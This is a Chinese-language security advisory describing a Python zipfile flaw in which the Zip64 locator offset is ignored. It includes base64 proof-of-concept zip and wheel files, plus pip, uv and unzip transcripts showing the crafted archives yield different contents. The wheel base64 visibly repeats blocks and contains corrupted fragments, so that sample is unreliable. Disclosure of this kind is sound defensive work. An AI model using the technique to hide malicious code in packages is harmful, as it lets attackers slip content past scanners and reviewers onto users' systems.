Python Zip64定位器偏移漏洞分析

本文详细分析了Python标准库zipfile在处理Zip64格式压缩文件时存在的一个安全漏洞。该漏洞源于Python在解析Zip64定位器记录时忽略了其中的偏移量,导致可以构造特殊的zip文件,在不同解析器中呈现不同内容。

Python - Zip64定位器偏移漏洞·安全公告

包名 Python

受影响的版本 Python 3.12.9 和 Python 3.13.5

已修复的版本

描述

摘要 可以构造一个zip文件,当被Python的zipfile实现解析时,会返回与其他常见zip实现不同的内容。这是因为Python忽略了Zip64定位器记录中的偏移量。相反,Python的实现期望在Zip64定位器记录之前立即看到Zip64末端中央目录记录,并完全忽略偏移量。这意味着可以存在两个Zip64末端中央目录记录:一个由Zip64定位器记录中的偏移量指向,另一个则位于Zip64定位器记录之前。

要使此漏洞可被利用,需要用户交互。使用此技术的攻击需要在处理zip文件的不同阶段使用不同的zip解析实现。例如,Python Wheel文件和"uv"。

严重程度 中等 - 此漏洞可用于隐藏恶意内容以逃避检测。

概念验证

单文件Zip 以下base64编码的字符串是一个特制的zip文件,作为简单的概念验证。

1
$ echo "UEsDBBQAAAAAAAAAIQBLlVV3CwAAAAsAAAALAAAAYm9yaW5nX2ZpbGVub3QgcHl0aG9uClBLAQIUAxQAAAAAAAAAIQBLlVV3CwAAAAsAAAALAAAAAAAAAAAAAAC0AQAAAABib3JpbmdfZmlsZVBLBgYsAAAAAAAAAC0ALQAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAA5AAAAAAAAADQAAAAAAAAAUEsDBBQAAAAAAAAAIQBh7IWUCgAAAAoAAAAHAAAAcHlfZmlsZWlzIHB5dGhvbgpQSwECFAMUAAAAAAAAACEAYeyFlAoAAAAKAAAABwAAAAAAAAAAAAAAtAGlAAAAcHlfZmlsZVBLBgYsAAAAAAAAAC0ALQAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAA1AAAAAAAAANQAAAAAAAAAUEsGBwAAAABtAAAAAAAAAAEAAABQSwUGAAAAAAEAAQA5AAAANAAAAAAA" | base64 -d > poc.zip

使用Python解压时,将返回一个名为py_file的文件,内容为"is python"。 使用其他zip实现解压时,将返回一个名为boring_file的文件,内容为"not python"。

使用Python提取:

1
2
3
4
5
6
$ mkdir ~/py && cd ~/py
$ python3 -c "import zipfile; zipfile.ZipFile('../poc.zip').extractall()"
$ ls
py_file
$ cat py_file
is python

使用unzip (InfoZip)提取:

1
2
3
4
5
6
$ mkdir ~/unzip && cd ~/unzip
$ unzip ../poc.zip
Archive:  ../poc.zip
 extracting: boring_file             
$ cat boring_file
not python

输出boring_file的实现包括:

  • Go
  • java.util.zip (seek and streaming)
  • InfoZip (unzip)
  • MiniZip (zlib)
  • PHP
  • zip + async_zip Rust crates (seek and streaming)
  • Yauzl (npm)
  • net.lingala.zip4j (Maven)
  • libarchive (bsdunzip)

Wheel文件 以下base64编码的字符串是一个特制的wheel文件,进一步演示了该缺陷和潜在的攻击场景。

1
$ echo "UEsDBBQAAAAAAAAAIQAi5N7ufAAAAHwAAAAlAAAAY2J3aGVlbHppcDY0LTAuMC4xLmRpc3QtaW5mby9NRVRBREFUQU1ldGFkYXRhLVZlcnNpb246IDIuNApOYW1lOiBjYndoZWVsemlwNjQKVmVyc2lvbjogMC4wLjEKU3VtbWFyeTogTW9yZSBteXN0ZXJpZXMKQXV0aG9yLWVtYWlsOiBDYWxlYiA8Y2FsZWJicm93bkBnb29nbGUuY29tPgpQSwMEFAAAAAAAAAAhAN1AXn1kAAAAZAAAACIAAABjYndoZWVsemlwNjQtMC4wLjEuZGlzdC1pbmZvL1dIRUVMV2hlZWwtVmVyc2lvbjogMS4wCkdlbmVyYXRvcjogZmxpdCAzLjEyLjAKUm9vdC1Jcy1QdXJlbGliOiB0cnVlClRhZzogcHkyLW5vbmUtYW55ClRhZzogcHkzLW5vbmUtYW55ClBLAwQUAAAAAAAAACEAXL6g5HABAABwAQAAIwAAAGNid2hlZWx6aXA2NC0wLjAuMS5kaXN0LWluZm8vUkVDT1JEY2J3aGVlbHppcDY0L19faW5pdF9fLnB5LHNoYTI1Nj01NTU0ZWNiZTNmOTYyMjk4Mzc3NDE1NzdhZTJkMmYyODVmMTUwOTYxOThmYWViZGFhYTFmNDVmMTlkMzQ5YjQwLDIxCmNid2hlZWx6aXA2NC0wLjAuMS5kaXN0LWluZm8vV0hFRUwsc2hhMjU2PTBmMmI3YTQ4MTdkYTZhYzU4NDk1NGFkNDQ2NDkyNzU0NTAxOTBjNzQ5M2MzMTgzNzNkYTRmMzZiYjQ1MjZlNDYsMTAwCmNid2hlZWx6aXA2NC0wLjAuMS5kaXN0LWluZm8vTUVUQURBVEEsc2hhMjU2PTkwNDc2ZGUxNDFiYzc4NzA0YjQzY2I4NjBhNDIzYTFmYTA0ZmU1NTc1ODQ3MjZhNzUxMWQyYTk0MTkyYzlmOTMsMTI0CmNid2hlZWx6aXA2NC0wLjAuMS5kaXN0LWluZm8vUkVDT1JELCwwMDAzNjhQSwMEFAAAAAAAAAAhAAnQ9UkVAAAAFQAAABgAAABjYndoZWVsemlwNjQvX19pbml0X18ucHlwcmludCgibWFnaWMiKQojINaEk5lQSwECFAMUAAAAAAAAACEAIuTe7nwAAAB8AAAAJQAAAAAAAAAAAAAAtAEAAAAAY2J3aGVlbHppcDY0LTAuMC4xLmRpc3QtaW5mby9NRVRBREFUQVBLAQIUAxQAAAAAAAAAIQDdQF59ZAAAAGQAAAAiAAAAAAAAAAAAAALQAb8AAABjYndoZWVsemlwNjQtMC4wLjEuZGlzdC1pbmZvL1dIRUVMUEsBAhQDFAAAAAAAAAAhAFy+oORwAQAAcAEAACMAAAAAAAAAAAAAALQBYwEAAGNid2hlZWx6aXA2NC0wLjAuMS5kaXN0LWluZm8vUkVDT1JEUEsBAhQDFAAAAAAAAAAhAAnQ9UkVAAAAFQAAABgAAAAAAAAAAAAAALQBFAMAAGNid2hlZWx6aXA2NC9fX2luaXRfXy5weVBLBgaaAwAAAAAAAC0ALQAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAA6AQAAAAAAAF8DAAAAAAAAUEsDBBQAAAAAAAAAIQBcvqDkcAEAAHABAAAjAAAAY2J3aGVlbHppcDY0LTAuMC4xLmRpc3QtaW5mby9SRUNPUkRjYndoZWVsemlwNjQvX19pbml0X18ucHksc2hhMjU2PTAxZjBhMDZjOTUxNTMyNGMxYzcwYmQ0YjQ3Yjg1NWRkNWRmMzg4ZTBlNmU4OWNlZDg4OGY2ODFmNGU3NTY3ZWYsMjEKY2J3aGVlbHppcDY0LTAuMC4xLmRpc3QtaW5mby9XSEVFTCxzaGEyNTY9MGYyYjdhNDgxN2RhNmFjNTg0OTU0YWQ0NDY0OTI3NTQ1MDE5MGM3NDkzYzMxODM3M2RhNGYzNmJiNDUyNmU0NiwxMDAKY2J3aGVlbHppcDY0LTAuMC4xLmRpc3QtaW5mby9NRVRBREFUQSxzaGEyNTY9OTA0NzZkZTE0MWJjNzg3MDRiNDNjYjg2MGE0MjNhMWZhMDRmZTU1NzU4NDcyNmE3NTExZDJhOTQxOTJjOWY5MywxMjQKY2J3aGVlbHppcDY0LTAuMC4xLmRpc3QtaW5mby9SRUNPUkQsLDAwaRpgClBLAwQUAAAAAAAAACEACdD1SRUAAAAVAAAAGAAAAGNid2hlZWx6aXA2NC9fX2luaXRfXy5weXByaW50KCJtb3JlIG1hZ2ljISIpClBLAQIUAxQAAAAAAAAAIQAi5N7ufAAAAHwAAAAlAAAAAAAAAAAAAAC0AQAAAABjYndoZWVsemlwNjQt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" | base64 -d > cbwheelzip64-0.0.1-py2.py3-none-any.whl

使用uv安装:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$ mkdir uv && cd uv
$ uv venv env
$ . env/bin/activate
$ uv pip install ../cbwheelzip64-0.0.1-py2.py3-none-any.whl 
Using Python 3.12.3 environment at: env
Resolved 1 package in 3ms
Installed 1 package in 1ms
 + cbwheelzip64==0.0.1 (from file:///home/calebbrown/cbwheelzip64-0.0.1-py2.py3-none-any.whl)

$ python3 -c 'import cbwheelzip64'
magic

使用pip安装:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ mkdir py && cd py
$ python3 -m venv env
$ . env/bin/activate
$ pip install ../cbwheelzip64-0.0.1-py2.py3-none-any.whl
Processing /home/calebbrown/cbwheelzip64-0.0.1-py2.py3-none-any.whl
Installing collected packages: cbwheelzip64
Successfully installed cbwheelzip64-0.0.1

$ python3 -c 'import cbwheelzip64'
more magic!

进一步分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# cpython/Lib/zipfile/__init__.py @ 6bf1c0ab3497b1b193812654bcdfd0c11b4192d8

# Simplified implementation, removing conditions and error handling.

def _EndRecData64(fpin, offset, endrec):
    fpin.seek(offset - sizeEndCentDir64Locator, 2)
    data = fpin.read(sizeEndCentDir64Locator)

    sig, diskno, reloff, disks = struct.unpack(structEndArchive64Locator, data)

    # Assume no 'zip64 extensible data'
    fpin.seek(offset - sizeEndCentDir64Locator - sizeEndCentDir64, 2)
    data = fpin.read(sizeEndCentDir64)
    # ...

上面的代码片段是当前用于读取zip64末端中央目录记录的逻辑。 sizeEndCentDir64LocatorsizeEndCentDir64都是在导入时从struct.calcsize派生的常量。

当读取zip64末端中央目录时,zip64定位器记录(reloff)被完全忽略,而是根据记录大小常量计算偏移量。 注释"Assume no ‘zip64 extensible data’“似乎暗示这种"固定偏移"行为是故意的,因为读取"zip64 extensible data"字段需要将zip64末端中央目录记录视为可变大小。

然而,通过做出这个假设,Python的zip实现现在与大多数其他实现不同,后者确实使用zip64定位器记录中的偏移量。

最后,没有验证无扩展数据的假设。没有检查reloff以确保它对应于实际被Python读取的zip64末端中央目录记录的位置。这意味着reloff可以指向一个单独的zip64末端中央目录记录,该记录返回与Python读取的记录不同的内容。

时间线

  • 报告日期:2025年7月28日
  • 修复日期:
  • 披露日期:2026年10月27日

严重程度

中等

CVE ID

无已知CVE

弱点

无CWE

致谢

  • calebbrown (发现者)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计